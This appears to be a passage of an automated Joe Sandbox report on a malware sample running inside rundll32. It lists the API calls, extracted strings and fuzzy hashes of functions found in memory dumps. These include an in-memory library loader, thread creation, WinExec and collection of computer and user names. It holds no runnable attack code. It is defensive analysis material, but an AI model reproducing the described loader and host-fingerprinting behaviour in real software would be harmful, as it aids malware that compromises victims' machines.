lstrlen.KERNEL32(00000000,00000000,00000000,?,00000105,00000000,00000000,?,?,?,?,?,?,00000000,?,00000000), ref: 27AC1843
memset.NTDLL ref: 27AC184C
GlobalFree.KERNEL32(00000000), ref: 27AC1855
_lopen.KERNEL32(?,00000000), ref: 27AC1868
_hread.KERNEL32(00000000,?,00000002), ref: 27AC187D
_lclose.KERNEL32(00000000), ref: 27AC1884
WinExec.KERNEL32(?,00000000), ref: 27AC189F
GlobalFree.KERNEL32(00000000), ref: 27AC18B8

Strings

%08x%08x*%s*%u, xrefs: 27AC1286
?kL, xrefs: 27AC1354
lol/, xrefs: 27AC1612
wnp^, xrefs: 27AC1349
0, xrefs: 27AC11D0
COMPUTERNAME, xrefs: 27AC11A6, 27AC11AC, 27AC11DD, 27AC12B0
SOFTWARE\Microsoft\Mediaplayer, xrefs: 27AC11AD, 27AC11B7, 27AC11DE
s://, xrefs: 27AC1604
%02x%02x%02x%02x%02x%02x, xrefs: 27AC1226
w0t., xrefs: 27AC160B
*%s, xrefs: 27AC13BF, 27AC1427, 27AC142D, 27AC1458, 27AC146E, 27AC1501
*%s_%s_%u_%u_%u, xrefs: 27AC15A3
USERNAME, xrefs: 27AC13E6

Memory Dump Source

Source File: 00000003.00000002.84975565291.0000000027AC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 27AC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_27ac1000_rundll32.jbxd

Similarity

API ID: sprintf$Crypt$Globalmemset$Free$ComputeCrc32$BinaryFileStringValuememcpy$AcquireAllocCacheCommandContextCountCreateDecodeDisplayDownloadEncryptEnumExecImportInfoLineModuleNameObjectPublicSequentialSettingsTickUuid_hread_lclose_lopenlstrlen
String ID: %02x%02x%02x%02x%02x%02x$%08x%08x*%s*%u$*%s$*%s_%s_%u_%u_%u$0$COMPUTERNAME$SOFTWARE\Microsoft\Mediaplayer$USERNAME$lol/$s://$w0t.$wnp^$?kL
API String ID: 3929119689-2541717829
Opcode ID: cbe10f6ba930fff9b99e63469f94eef1096c7ab02c519e9caa091d67d897b52f
Instruction ID: d1afb5b641d7297c3d98dbba34a3546c4b9938a4bc15ba799c89e36e1a3fbf9a
Opcode Fuzzy Hash: cbe10f6ba930fff9b99e63469f94eef1096c7ab02c519e9caa091d67d897b52f
Instruction Fuzzy Hash: 351291B1A08345BFE720DF64CD84FAB7BECBB94361F10492EF695D2141DA3899448B63

Function 051B22A0 Relevance: 9.0, Strings: 2, Instructions: 6457
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

5`oj, xrefs: 051B23C7
5`oj, xrefs: 051B5905

Memory Dump Source

Source File: 00000003.00000002.84974409517.00000000051B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 051B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_51b1000_rundll32.jbxd

Similarity

API ID:
String ID: 5`oj$5`oj
API String ID: 0-1924437217
Opcode ID: 02acf7ec11d640ac9f3017bec193d97360015263b7909136a701dde5258c969b
Instruction ID: 60fce56bd8fc4d7551f33c4ba5fdad6d29dcb9b92d4f09529c7161823ec92507
Opcode Fuzzy Hash: 02acf7ec11d640ac9f3017bec193d97360015263b7909136a701dde5258c969b
Instruction Fuzzy Hash: 5093F77BB546114BD72CCE6DCCD12E9A6C76BCC314F1ED63E884ADB398DDB898064680

Function 03290005 Relevance: 6.3, APIs: 4, Instructions: 336
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000004), ref: 032900A0
LoadLibraryA.KERNEL32(?), ref: 0329020D
LdrGetProcedureAddress.NTDLL(00000000,?,00000000,?), ref: 0329025A
VirtualProtect.KERNEL32(?,?,?,?), ref: 0329035F

Memory Dump Source

Source File: 00000003.00000002.84973393718.0000000003290000.00000020.00001000.00020000.00000000.sdmp, Offset: 03290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3290000_rundll32.jbxd

Similarity

API ID: Virtual$AddressAllocLibraryLoadProcedureProtect
String ID:
API String ID: 3829562780-0
Opcode ID: 3c0398302410d883315648ee21e8cbdebfa52049138ef01b04af12db65d8c14a
Instruction ID: 8b707dcaff33af6dc29dddc6552701ab47bdd32c94d5515fd41254078bcb9937
Opcode Fuzzy Hash: 3c0398302410d883315648ee21e8cbdebfa52049138ef01b04af12db65d8c14a
Instruction Fuzzy Hash: 30B1AE75A2430A9BEF18CF19C89077AB7E9BF88704F58846EE942CB241E774E8C1C755

Function 0683112C Relevance: 5.0, APIs: 3, Instructions: 540memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 06831321
VirtualProtect.KERNEL32(?,?,?,?), ref: 06831627
VirtualProtect.KERNEL32(?,?,?,?), ref: 068316ED

Memory Dump Source

Source File: 00000003.00000003.84180388238.0000000006831000.00000020.00001000.00020000.00000000.sdmp, Offset: 06831000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6831000_rundll32.jbxd

Similarity

API ID: Virtual$Protect$Alloc
String ID:
API String ID: 2541858876-0
Opcode ID: cf9569ba81d9787a9a6e9d53b9afc1cb5ac2ad74d405ff41cf0717cb2915b627
Instruction ID: 5d6fda225d8032c76188662a1bd5a94ed341b24036d482ac1c580fe081cc5200
Opcode Fuzzy Hash: cf9569ba81d9787a9a6e9d53b9afc1cb5ac2ad74d405ff41cf0717cb2915b627
Instruction Fuzzy Hash: AD228E76E001298FDB58CF29CC456EDB7B6BF89314F29C199D449AB344DB70AD828F80

Function 06987F59 Relevance: 5.0, Strings: 1, Instructions: 3784COMMON

Download Yara Rule

Strings

R4Vd, xrefs: 06989ED4

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID: R4Vd
API String ID: 0-3306949354
Opcode ID: 9ec2c6bc56d9088785db9a1a2637afaca2e458cd132236148dfec7a9104e842f
Instruction ID: e5225560412135300e374e1ffd17268fa6eb6bf29d9a50f6e025a92f8e1a6e29
Opcode Fuzzy Hash: 9ec2c6bc56d9088785db9a1a2637afaca2e458cd132236148dfec7a9104e842f
Instruction Fuzzy Hash: D273C3726097818FD774DF28C980BABB7E6BFC9310F158A1DD499DB694DB30A801CB52

Function 06968DA0 Relevance: 5.0, Strings: 3, Instructions: 1242COMMON

Download Yara Rule

Strings

!, xrefs: 06969CCA
ecf, xrefs: 06969009
MSR, xrefs: 06969CEE

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID: !$MSR$ecf
API String ID: 0-784032842
Opcode ID: 224643889a938e8c6bda6f687b6b7ef9da2da3e5ab05ad7be0ff68abec53681e
Instruction ID: 74cc4681f75dfcfdafd9766df308c2390e88df9593f41fad42d2d4f93861e10f
Opcode Fuzzy Hash: 224643889a938e8c6bda6f687b6b7ef9da2da3e5ab05ad7be0ff68abec53681e
Instruction Fuzzy Hash: 9CB29F726087828FD774CF29C9847EAB7E6BBC9310F158A1DE499CB794DB309845CB42

Function 0533E58D Relevance: 4.9, APIs: 2, Instructions: 2374memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,?,?), ref: 0533E679
VirtualAlloc.KERNEL32(00000000,?,?,?), ref: 0533F73C

Memory Dump Source

Source File: 00000003.00000003.84148886109.000000000533D000.00000020.00001000.00020000.00000000.sdmp, Offset: 0533D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_533d000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4ef5e6f3f24ca39d9c83c0dc6a6c31688bf2c78410e3a90c5f5409f422b3077b
Instruction ID: ab8d154e5ab71a9009f86f2eddfa90f5c5139a17c23431d389af383ff0ebf8ac
Opcode Fuzzy Hash: 4ef5e6f3f24ca39d9c83c0dc6a6c31688bf2c78410e3a90c5f5409f422b3077b
Instruction Fuzzy Hash: FD031A36A047618FD728CE29C4D57DAB3E7BFC4310F498A3DD889CB645DB7498498B81

Function 0696DB70 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 216fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNEL32(?,?), ref: 0696DCD2

Strings

L, xrefs: 0696DBE1

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID: FileFindNext
String ID: L
API String ID: 2029273394-2909332022
Opcode ID: 67f8e1e1a47774552d9918b939aecb38e07befeb6cb6882da394a71afff741f8
Instruction ID: f04b1c3b8ef5cb55aa165d70aa29760f923ae8b15c9cfb04efb28b402ea31c83
Opcode Fuzzy Hash: 67f8e1e1a47774552d9918b939aecb38e07befeb6cb6882da394a71afff741f8
Instruction Fuzzy Hash: 6D91AD32A087518FD710CF29C88065AB7E2FFC9314F268A29E9A59B354D774F806CB91

Function 06961370 Relevance: 3.4, Strings: 2, Instructions: 946COMMON

Download Yara Rule

Strings

D, xrefs: 06961D03
t, xrefs: 06961D0E

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID: D$t
API String ID: 0-777169037
Opcode ID: 00ee968eb86e2acb1b7c73acc9403356742f36b71a7702d82bfe09c9aa654095
Instruction ID: 1ea99a5e842f0cb3f85edfa571bc5079391d23af38146fdca83d855725d3d77b
Opcode Fuzzy Hash: 00ee968eb86e2acb1b7c73acc9403356742f36b71a7702d82bfe09c9aa654095
Instruction Fuzzy Hash: CE8261326193818FD774CF29C5C4BAEB7E6BFC9310F258A2DD4898B654DB30A945CB81

Function 06982360 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 194sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?), ref: 069824A2

Strings

'RX0, xrefs: 0698236F

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID: Sleep
String ID: 'RX0
API String ID: 3472027048-656561589
Opcode ID: b46c6020b1f91a003066ea05d460942125ac22ade54cf7140133a1bb6b291a75
Instruction ID: 2b9f4095d769748cdb81313943a5950ead8d42f7a9b2fbe37e4ec11c615641cd
Opcode Fuzzy Hash: b46c6020b1f91a003066ea05d460942125ac22ade54cf7140133a1bb6b291a75
Instruction Fuzzy Hash: 0471AA76A183508FD304DF39C89051BBBE3BBD9310F1A8929E595D7354DA30E942CBD2

Function 050922A8 Relevance: 3.2, APIs: 2, Instructions: 172
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(?,?,?,?,?,-00000001,-00000001), ref: 05091DAA
VirtualProtect.KERNEL32(?,00000800,?,?), ref: 0509235A

Memory Dump Source

Source File: 00000003.00000002.84974132495.0000000005091000.00000020.00001000.00020000.00000000.sdmp, Offset: 05091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5091000_rundll32.jbxd

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: e3d0b00510a6c716ea44dc0f727e4e475cbbcd87a214dbe7fa62648bb9f1230c
Instruction ID: efd2b076cce1660b0478bb018419da48feeab4533cbbc30e8377d8e5dcfec124
Opcode Fuzzy Hash: e3d0b00510a6c716ea44dc0f727e4e475cbbcd87a214dbe7fa62648bb9f1230c
Instruction Fuzzy Hash: 4761A1726083418FD718CF29C844BAAFBE6FBD5310F15CA6ED099CB3A5DA349506CB51

Function 0696F1F3 Relevance: 2.9, APIs: 1, Instructions: 1367COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a169decebb04fcb7fdcaccf8f336471ad5d269e727fc6404a969b3606431e339
Instruction ID: 07bd4ed7a633524775492ad3c0ea3a1d29bd4a78343c834e2a00e8b47d7ef755
Opcode Fuzzy Hash: a169decebb04fcb7fdcaccf8f336471ad5d269e727fc6404a969b3606431e339
Instruction Fuzzy Hash: 85B2F636A183518FD778CF29C9C47DAF7E6BBC8310F198A2DD489CB644DB74A9058B81

Function 06962790 Relevance: 1.9, APIs: 1, Instructions: 355libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 06962949

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 48e0eabbb4ae28cc54ba223bbad3ab6ebf4dd52f885b0bcd90a142c3ea5cda38
Instruction ID: 35b1eaec45828559de800337ec6d7eef1f433cc138a7144b5b881c89fa5920cd
Opcode Fuzzy Hash: 48e0eabbb4ae28cc54ba223bbad3ab6ebf4dd52f885b0bcd90a142c3ea5cda38
Instruction Fuzzy Hash: 04F18E72D002298BDB24CF29C8407ADB7B2FF89310F2581AAD549B7754D774AE86CF90

Function 06984F10 Relevance: 1.7, APIs: 1, Instructions: 243registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(?,?,?,?,?), ref: 069850C4

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 07ba154feed452149765af5d8f88be256ab3c9b9ef3414ed4a3e84978e7b9a31
Instruction ID: 331e8aec502243bc3082f92fad95a080fba73263fbb36bc4583b3598dd2af1a2
Opcode Fuzzy Hash: 07ba154feed452149765af5d8f88be256ab3c9b9ef3414ed4a3e84978e7b9a31
Instruction Fuzzy Hash: B8A1A837A186518FD764DF29C48065AF7E2BFC8310F16896DE999AB364DB30EC05CB81

Function 0696C5E0 Relevance: 1.7, APIs: 1, Instructions: 231registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,?,?,?,?,?), ref: 0696C871

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 788919a6737212ca35df3920784e08da19885da45767fffcd0d019ef971503aa
Instruction ID: c354761f709ce8db2817b260eb018ce3ebff42a28b3ca72e02f6340dd9c97159
Opcode Fuzzy Hash: 788919a6737212ca35df3920784e08da19885da45767fffcd0d019ef971503aa
Instruction Fuzzy Hash: B0A18F76A08751CFD724CF29C880A6AB7E2FFC8310F56892DE5959B364D731B906CB81

Function 06966790 Relevance: 1.7, APIs: 1, Instructions: 215nativeCOMMON

Download Yara Rule

APIs

NtQueryDirectoryObject.NTDLL(?,?,?,?,?,?,?), ref: 069668F2

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID: DirectoryObjectQuery
String ID:
API String ID: 1728361593-0
Opcode ID: 9604ca454e3b85f1d9d02cf78795dabdbda044f066ac707dbc01df5cce46ee91
Instruction ID: 67326aa633061c65d85705d60e5280bd9ca62be0f1b31450fc133d1ed2bcb72f
Opcode Fuzzy Hash: 9604ca454e3b85f1d9d02cf78795dabdbda044f066ac707dbc01df5cce46ee91
Instruction Fuzzy Hash: BB817136A087518FD714CF2AC84066BF7E3BBC9314F158A2DE99597364DA71EC06CB82

Function 06962220 Relevance: 1.7, APIs: 1, Instructions: 215memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 06962400

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: fcccb4885bc07a5ef542f2356ae95b7f5855203db94123c3575300d7f0a00fd2
Instruction ID: 35202aba8141b5f33280676c99fb208c77d1cc57297f8763dba197936e9bad16
Opcode Fuzzy Hash: fcccb4885bc07a5ef542f2356ae95b7f5855203db94123c3575300d7f0a00fd2
Instruction Fuzzy Hash: 30914A36E002198FDB14CFAAC8409DEB7B7BBC8314F66816AD455BB615DB31AD46CF80

Function 0696CD00 Relevance: 1.7, APIs: 1, Instructions: 206COMMON

Download Yara Rule

APIs

FindClose.KERNEL32(?), ref: 0696CE2E

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: ac8bd1260cc08786d6420d79abb257bce1753f8d82768ff65909674cbcebbea3
Instruction ID: 28f56903a2f0654aa7b6cd8adfea7471956ed3acb2ec31756ac44533468facb1
Opcode Fuzzy Hash: ac8bd1260cc08786d6420d79abb257bce1753f8d82768ff65909674cbcebbea3
Instruction Fuzzy Hash: D9913976E00619CFDB14CFA9C8405AEFBB2BF88310F2A855AE455BB355D730A946CF90

Function 051BA660 Relevance: 1.7, APIs: 1, Instructions: 199
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocExNuma.KERNEL32(?,?,?,?,?,?), ref: 051BA78C

Memory Dump Source

Source File: 00000003.00000002.84974409517.00000000051B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 051B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_51b1000_rundll32.jbxd

Similarity

API ID: AllocNumaVirtual
String ID:
API String ID: 4233825816-0
Opcode ID: cc17bf8bf7b8521daabe671ef5e95a176c2ff15e2fd192ffce3c66b18d0aa888
Instruction ID: d285df8dd59fb3da003eac478e2f14e8ef18771674ce14f6dcd3a6f3bef4465b
Opcode Fuzzy Hash: cc17bf8bf7b8521daabe671ef5e95a176c2ff15e2fd192ffce3c66b18d0aa888
Instruction Fuzzy Hash: 6571D4766183408FD728CF29D891AABB7E2BFC8310F15891DE595C7390DB75E805CB81

Function 051BA900 Relevance: 1.7, APIs: 1, Instructions: 188
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 051BAA5A

Memory Dump Source

Source File: 00000003.00000002.84974409517.00000000051B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 051B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_51b1000_rundll32.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: f324245993c85820f50afd8322b93ed0ad540b5f9b4c567e25ce2ae0dba8eef2
Instruction ID: 564176bf3ea4ed97f23950869488665b3473f20138b1bc0729af61bf60139704
Opcode Fuzzy Hash: f324245993c85820f50afd8322b93ed0ad540b5f9b4c567e25ce2ae0dba8eef2
Instruction Fuzzy Hash: E371A07A6083418FD324CF29D98059BB7E3FFC8314F568A2DE48997354EB70A906CB91

Function 0696C3A0 Relevance: 1.7, APIs: 1, Instructions: 169registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32(?), ref: 0696C504

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 767198e3a11f2a2df5bec3a3536b6e1c9a3c2f5e4e34b5e356eb149fd948a2ad
Instruction ID: cd7052099c26d4cc35d7c71df7b93b020ba961cacb2636ff7a516d039ba10a96
Opcode Fuzzy Hash: 767198e3a11f2a2df5bec3a3536b6e1c9a3c2f5e4e34b5e356eb149fd948a2ad
Instruction Fuzzy Hash: 7F5180326487418FD714DF2AD98052BB7E3BBC8310F258A2DF1D587798DA74E842CB92

Function 0695D53D Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

DeviceIoControl.KERNEL32(?,?,?,?,?,?,?,?), ref: 0695D5E0

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID: ControlDevice
String ID:
API String ID: 2352790924-0
Opcode ID: ffc4dcd6f373af87793254392fd7652a2e6a5d6824dc7a3e7dcb572dd0120fa5
Instruction ID: 22faf08eb32000c1cd260d775dc977f9e41d1c646f424082351313f12b7fe585
Opcode Fuzzy Hash: ffc4dcd6f373af87793254392fd7652a2e6a5d6824dc7a3e7dcb572dd0120fa5
Instruction Fuzzy Hash: E451B3326092428FC324CF28C890AAAB7F3FFD9314F66851DE59587654DB35E85BCB42

Function 051B2084 Relevance: 1.7, APIs: 1, Instructions: 157
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateThreadEx.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?), ref: 051B20D8

Memory Dump Source

Source File: 00000003.00000002.84974409517.00000000051B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 051B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_51b1000_rundll32.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 3dbb75f47456da23a5d8d384a929dbb8fe954c1872de9d0006430f73d7cc1b54
Instruction ID: e04350555c6d3f137816e0de26e1da28286cc2f90bcc7a64a1384392588c2ea2
Opcode Fuzzy Hash: 3dbb75f47456da23a5d8d384a929dbb8fe954c1872de9d0006430f73d7cc1b54
Instruction Fuzzy Hash: 2E614B76A10129DFDB14CFA8CC81ADDBBB3BF88210F168195D559BB210DB70A985CF80

Function 0696A5D6 Relevance: 1.7, APIs: 1, Instructions: 152registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.KERNEL32(?,?,?,?,?,?,?,?), ref: 0696A600

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID: Enum
String ID:
API String ID: 2928410991-0
Opcode ID: 672eff21dba37621b949097737f1f096509734d17498992a3e7b2677e9444d13
Instruction ID: 2ca12c0d37bc07a3158724b526b21e46a67edb26fd2088bd23edeeb6805162e4
Opcode Fuzzy Hash: 672eff21dba37621b949097737f1f096509734d17498992a3e7b2677e9444d13
Instruction Fuzzy Hash: FD515C72E10219CFDB54CFA9C940AADBBB2FF88310F268159E559BB245D730AD51CF90

Function 06982A81 Relevance: 1.6, APIs: 1, Instructions: 142fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 06982A9E

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 94eb86fb9bac9cdde7928f82997da02ea2350c75b42e5cdf1ee264ddfd476bff
Instruction ID: 4ca151decd8a9663008c9cdf680b86b59c72fc01ce5c56363ede114f14a5d86e
Opcode Fuzzy Hash: 94eb86fb9bac9cdde7928f82997da02ea2350c75b42e5cdf1ee264ddfd476bff
Instruction Fuzzy Hash: 2651B232908211CFC760DF28C480A5AB7F2FF99314F19896DE9989B265D335FD02CB82

Function 06966CBB Relevance: 1.6, APIs: 1, Instructions: 142threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(?,?,?,?,?,?), ref: 06966CFA

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 40d14b3e22d287b5d2051fd87e79f363c3cc37635b91fd757e1d425264605c1e
Instruction ID: 333e175610afc798128e3492973231bafe07a0d159399c9aec8d898d6dd495da
Opcode Fuzzy Hash: 40d14b3e22d287b5d2051fd87e79f363c3cc37635b91fd757e1d425264605c1e
Instruction Fuzzy Hash: 59512976E102198FDF54CFA9CC41A9DBBB2FF88314F258155E619A7240DB30AD828F80

Function 0696CB60 Relevance: 1.6, APIs: 1, Instructions: 136libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?), ref: 0696CB84

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 68845412f1f8c00e639b7141a7afe252b7db84a9512af0afa4e29646599bbba6
Instruction ID: 3d050f10a6931013ac7885fd86f4514242d3dd42dbfcdc02bfba88eef5eda9b4
Opcode Fuzzy Hash: 68845412f1f8c00e639b7141a7afe252b7db84a9512af0afa4e29646599bbba6
Instruction Fuzzy Hash: D6510872E002198FDB54CFA9C9446ADF7B6BF88210F2A8169E549BB355D730AD46CF80

Function 06962625 Relevance: 1.6, APIs: 1, Instructions: 132threadCOMMON

Download Yara Rule

APIs

RtlExitUserThread.NTDLL(?), ref: 06962642

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-0
Opcode ID: d090393607ed9a504fad0c6d26abd3ce3bf337f749d5e48932d172889504932e
Instruction ID: d58d291029006c88141b2eb16104317d8af2fc07dff1f663f302bb2530bb8f20
Opcode Fuzzy Hash: d090393607ed9a504fad0c6d26abd3ce3bf337f749d5e48932d172889504932e
Instruction Fuzzy Hash: BD416F32614B018FD364DF29D98092BB7E3BBD8310B258A2DE196C7668DB34F946CF51

Function 06970206 Relevance: 1.6, APIs: 1, Instructions: 131fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?,?), ref: 06970248

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 589d4955094dd7d3f48eb0392c39227512b29059f54e13aaa01ae95da83ef475
Instruction ID: 9922207ac5101047b5dddfc7fa4154740156f48ea43291147f81ec9138fe6ba3
Opcode Fuzzy Hash: 589d4955094dd7d3f48eb0392c39227512b29059f54e13aaa01ae95da83ef475
Instruction Fuzzy Hash: CA518F32A082019FD728CF28C981A5FB7E3FFC4310F158A1CE59997694DB31E816CB92

Function 0696D969 Relevance: 1.6, APIs: 1, Instructions: 129nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 0696D9A0

Memory Dump Source

Source File: 00000003.00000003.84180784691.0000000006931000.00000020.00001000.00020000.00000000.sdmp, Offset: 06931000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_6931000_rundll32.jbxd

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: b21697dbc24e72d721af0452414746d68cbb95c5d00c9acf3831514771a15256
Instruction ID: d3766e4ddc68eb95790561d1b796a1b61a9705193abdc0913241de559a792b65
Opcode Fuzzy Hash: b21697dbc24e72d721af0452414746d68cbb95c5d00c9acf3831514771a15256
Instruction Fuzzy Hash: 1A514D36E001198FDF68CF69C890AADFBB2FF84304F658199D15AA7254DB30AD86CF40

Function 05091EAF Relevance: 1.6, APIs: 1, Instructions: 302
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

